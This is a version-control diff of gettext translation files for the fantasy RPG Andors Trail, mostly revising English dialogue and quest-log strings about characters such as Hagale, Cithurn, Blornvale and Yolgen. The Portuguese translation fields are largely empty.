msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36873,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36890,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36986,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37712,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37720,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38127,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38144,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,26 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2018-08-07 14:43+0000\n"
"Last-Translator: Tiago A. Reul <tiago@reul.space>\n"
"Language-Team: Portuguese <https://hosted.weblate.org/projects/andors-trail/"
"game-content/pt/>\n"
"Language: pt\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 3.2-dev\n"
"X-Launchpad-Export-Date: 2015-11-02 12:27+0000\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" Oskar Wiksten https://launchpad.net/~oskar-wiksten"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr "Benção"
@@ -2856,7 +2879,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4655,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5593,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6772,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9412,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9569,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9607,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21515,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21799,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21817,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22306,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22331,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22347,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22357,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22387,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22396,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22429,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22441,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22497,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22505,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22517,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22654,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22663,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22688,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22724,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22939,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23041,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23076,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24309,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24491,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26198,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26206,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26267,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26301,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26352,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26412,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26823,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26999,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27150,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27176,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27309,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27317,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27327,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27424,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27577,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27596,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27609,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27744,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27784,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27820,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27844,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27865,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27889,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27985,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28075,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28111,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28434,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28446,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28466,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
